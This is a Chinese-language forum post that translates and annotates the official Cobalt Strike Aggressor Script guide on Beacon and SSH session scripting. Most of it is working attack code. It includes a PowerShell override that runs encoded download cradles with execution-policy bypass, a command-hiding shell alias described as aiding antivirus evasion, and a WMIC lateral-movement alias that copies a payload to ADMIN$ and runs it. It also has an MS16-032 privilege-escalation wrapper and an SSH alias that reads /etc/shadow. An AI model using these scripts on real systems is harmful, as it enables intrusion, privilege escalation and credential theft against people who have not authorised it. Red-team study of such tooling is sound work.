CobaltStrike插件开发官方指南 Part3

翻译+实践

原文地址:

https://www.cobaltstrike.com/agscript-script/index.html

0x05 Beacon

BeaconCobalt Strike后渗透的重要功能。 本章中将探讨如何使用agscript自动执行Beacon的一些功能。

元数据处理

Cobalt Strike给每个Beacon会话都分配了一个随机ID,执行任务时任务的元数据与每个Beacon的ID相关联,使用beacons函数可查询到查询所有当前Beacon会话的元数据,beacon_info函数则是用于查询制定Beacon会话的元数据。 Demo:

command beacons {
    local('$entry $key $value');
    foreach $entry (beacons()) {
        println("== " . $entry['id'] . " ==");
        foreach $key => $value ($entry) {
            println("$[20]key : $value");
        }
        println();
    }
}

处理方式和数组一致。

Aliases

快捷命令,和macOS等系统上的使用道理是一样的,使用alias函数直接注册,看demo:

alias hello {
       blog($1, "Hello World!");
}

(和command函数感觉没啥差异。)

快捷命令参数的用法和其他语言一样,$0是脚本本身,$1是第一个参数,以此类推,不再做赘述。

官方在此处提了下注册beacon别名的函数beacon_command_register,主要作用就是方便把beacon命令写成接口吧,但是没有具体的说明,官方函数库里面代码还写错了。【难过.png】

alias echo {
    blog($1, "You typed: " . substr($1, 5));
}

beacon_command_register(
    "echo", 
    "echo text to beacon log", 
    "Synopsis: echo [arguments]\n\nLog arguments to the beacon console");

使用上述代码注册后即可在beacon里面使用快捷命令。

处理新Beacons会话

此处可以理解为给新的Beacons会话添加一个自动运行的脚本,或者是让所有的新会话都运行一遍写好的脚本。

涉及到的函数是beacon_initial)

官方说明:

on beacon_initial {
    # do some stuff
}

这其实是个很好用的函数,写个设置自启代码,有新会话进来就自动加载,以后就不用担心重启会话掉了。

这里有个缺陷,当Beacon第一次收到元数据时会触发beacon_initial事件。 这意味着DNS Beacon在被要求运行命令之前不会触发beacon_initial。 所以如果需要与首次连接C2的DNS Beacon进行交互的话,请使用beacon_initial_empty事件。

右键菜单

直接看官方示例:

popup beacon_bottom {
    item "Run All..." {
        prompt_text("Which command to run?", "whoami /groups", lambda({
            binput(@ids, "shell $1");
            bshell(@ids, $1);
        }, @ids => $1));
    }
}

这里有两个函数可以在右键菜单中添加功能项,分别是beacon_topbeacon_bottom

任务描述

原文标题为Acknowledging Tasks,字面意思确认任务???

官方demo:

alias survey {
    btask($1, "Surveying the target!", "T1082");
    bshell!($1, "echo Groups && whoami /groups");
    bshell!($1, "echo Processes && tasklist /v");
    bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
    bshell!($1, "echo System Info && systeminfo");
}

添加一个btask函数来描述一下任务,第二个参数用用了ATT&CK矩阵中的信息分类,比如demo参数中的T1082是系统信息挖掘,方便对攻击信息进行筛选整理。相比println,也就是多了这个描述。

分类详情:

https://attack.mitre.org/

案例1 已有指令覆盖

Aliases添加的快捷指令可以覆盖已存在的命令,直接看一个覆盖内置powershell指令的demo:

alias powershell {
    local('$args $cradle $runme $cmd');

    # $0 is the entire command with no parsing.
    $args   = substr($0, 11);

    # generate the download cradle (if one exists) for an imported PowerShell script
    $cradle = beacon_host_imported_script($1);

    # encode our download cradle AND cmdlet+args we want to run
    $runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );

    # Build up our entire command line.
    $cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";

    # task Beacon to run all of this.
    btask($1, "Tasked beacon to run: $args", "T1086");
    beacon_execute_job($1, "powershell", $cmd, 1);
}

从上到下面逐行理解:

line1 定义本地变量。
line2 $0是获取输入的原始指令,使用substr函数获取第十一个字符之后的字符串("powershell"十个字符串加一个空格)
line3 使用beacon_host_imported_script函数导入脚本,这里的host只是程序自动运行的临时web服务,并非远程主机的,所以$1写脚本的位置即可。
line4 编码字符串,之所以用UTF-16LE应该是临时web服务的编码设定问题。
line5 拼接命令
line7 描述任务详情
line8 使用beacon_execute_job函数执行命令并返回结果给Beacon

同理,可覆盖原有shell指令,用于在环境变量中隐藏Windows命令:

alias shell {
    local('$args');
    $args = substr($0, 6);
    btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
    bsetenv!($1, "_", $args);
    beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}

可以利用环境变量来做一些免杀吧。

案例2 横向渗透

看一下官方Beacon脚本的扩展示例。 先注册一条beacon命令wmi-alt。 并在参数中获取目标地址和监听器。 然后生成一个绑定到监听器的可执行文件,并将其复制到目标,最终使用wmic命令来运行它。

首先,让我们扩展Cobalt Strike的帮助并注册我们的wmi-alt别名:

# register help for our alias
beacon_command_register("wmi-alt", "lateral movement with WMIC",
    "Synopsis: wmi-alt [target] [listener]\n\n" .
    "Generates an executable and uses wmic to run it on a target");

完整的实现代码:

alias wmi-alt {
    local('$mydata $myexe');

    # check if our listener exists
    if (listener_info($3) is $null) {
        berror($1, "Listener $3 does not exist");
        return;
    }

    # generate our executable artifact
    $mydata = artifact($3, "exe", true);

    # generate a random executable name
    $myexe  = int(rand() * 10000) . ".exe";

    # state what we're doing.
    btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI", "T1047");

    # upload our executable to the target
    bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);

    # use wmic to run myexe on the target
    bshell!($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");

    # complete staging process (for bind_pipe listeners)
    bstage($1, $2, $3);
}

bupload_raw函数的第二个参数是上床到的目标地址,第三个参数是生成的数据。详情可查看bupload_raw函数的详细说明。

案例3 提权

和案例2类似,这里先使用beacon_exploit_register函数注册一个exp名,方便后面调用。

beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);

完整demo:

sub ms16_032_exploit {
    local('$script $oneliner');

    # acknowledge this command
    btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032", "T1068");

    # generate a PowerShell script to run our Beacon listener
    $script = artifact($2, "powershell");

    # host this script within this Beacon
    $oneliner = beacon_host_script($1, $script);

    # task Beacon to run this exploit with our one-liner that runs Beacon
    bpowershell_import!($1, script_resource("Invoke-MS16032.ps1"));
    bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");

    # handle staging (if we're dealing with a named pipe Beacon; does nothing otherwise)
    bstage($1, $null, $2);
}

这里的beacon_host_script函数不同于上面的beacon_host_imported_script性质是一样的,为了解决生成的脚本体积过大而导致的一些错误而生。

0x06 SSH会话

Cobalt Strike的SSH客户端使用了SMB Beacon协议并实现Beacon命令调用以及子功能的使用。 从AgScript的角度来看,SSH会话是一个包含较少命令的Beacon会话。

SSH会话的性质

与Beacon会话非常相似,SSH会话也具有自己的唯一ID。 Cobalt Strike将任务和元数据与此ID相关联。 beacons功能还将返回有关所有Cobalt Strike会话(SSH会话和Beacon会话)的信息。 使用-isssh可检测当前会话是否是SSH会话。 同理-isbeacon用于检测当前会话是否是Beacon会话。

一个用于过滤Beacon中ssh会话的demo函数

sub ssh_sessions {
    return map({
        if (-isssh $1['id']) {
            return $1;
        }
        else {
            return $null;
        }
    }, beacons());
}

SSH快捷命令

直接看demo:

ssh_alias hashdump {
    if (-isadmin $1) {
        bshell($1, "cat /etc/shadow");
    }
    else {
        berror($1, "You're (probably) not an admin");
    }
}

除此之外之外还可以使用ssh_command_register注册ssh命令。用法和beacon一致。

ssh_alis echo {
    blog($1, "You typed: " . substr($1, 5));
}

ssh_command_register(
    "echo", 
    "echo posts to the current session's log", 
    "Synopsis: echo [arguments]\n\nLog arguments to the SSH console");

SSH新会话处理

和beacon相似度极高,几乎就是把beacon这个关键字关城ssh即可。比如下属dome:

on ssh_initial {
    # do some stuff
}

beacon使用到的是beacon_initial。传输的唯一参数$1为ssh会话的ID。

右键菜单

和beacon右键菜单的写法除了名称不同,其他无异。

  • beacon:beacon_bottom,beacon_top
  • ssh : ssh

demo

popup ssh {
    item "testPopup" {
        prompt_text("Which command to run?", "w", lambda({
            binput(@ids, "shell $1");
            bshell(@ids, $1);
        }, @ids => $1));
    }
}

官方写明确写了ssh会话只是beacon会话的一个子集而已。

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖